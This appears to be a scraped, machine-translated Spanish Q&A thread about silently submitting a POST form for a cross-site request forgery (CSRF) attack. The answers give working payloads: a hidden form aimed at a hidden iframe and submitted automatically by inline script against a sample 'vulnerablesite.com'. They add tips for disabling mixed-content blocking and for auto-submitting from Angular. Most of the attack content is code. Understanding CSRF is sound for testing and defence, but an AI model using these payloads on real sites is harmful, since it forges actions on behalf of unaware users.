your you válido type pruebe por nuevamente formulario favor enviar csrf_token security csrf

security - you - Ejemplo de envío silencioso de un FORMULARIO POST(CSRF)



enviar token por ajax (2)

Al probar CSRF localmente, es posible que tenga que superar varias medidas de seguridad.

Para los errores de Blocked loading mixed active content , asegúrese de que el protocolo (http / https) del sitio del atacante y el sitio de destino sean los mismos, o use "//" como protocolo para el sitio del atacante. Ejemplo de ataque en localhost:

<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe> <form style="display:none" method=''POST'' action=''//localhost:4000'' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible"> <input type=''hidden'' name=''boo'' value=''true''> <input type=''submit'' value=''Submit''> </form>

Alternativamente, establezca Firefox security.mixed_content.block_active_content en false .

Si usa Angular, las opciones de seguridad le impiden usar javascript en línea, por lo que deberá mover el envío al código subyacente en el sitio del atacante:

ngOnInit() { const myForm: HTMLFormElement = document.getElementById(''csrf-form-invisible'') as HTMLFormElement; myForm.submit(); }

Finalmente, el encabezado del sitio del atacante ''x-frame-options'' no debe configurarse.

Estoy interesado en saber cómo es posible enviar silenciosamente un formulario POST para CSRF, sin que el usuario tenga ningún aviso (la ubicación del documento que se redirige a la URL POST no es silenciosa)

Ejemplo:

<form method=''POST'' action=''http://vulnerablesite.com/form.php''> <input type=''hidden'' name=''criticaltoggle'' value=''true'' <input type=''submit'' value=''submit''> </form>

En un sitio externo, ¿qué debo hacer para activar este formulario de forma automática y silenciosa?


Una solución sería abrir la acción del formulario en un marco como un iframe :

<iframe style="display:none" name="csrf-frame"></iframe> <form method=''POST'' action=''http://vulnerablesite.com/form.php'' target="csrf-frame" id="csrf-form"> <input type=''hidden'' name=''criticaltoggle'' value=''true''> <input type=''submit'' value=''submit''> </form> <script>document.getElementById("csrf-form").submit()</script>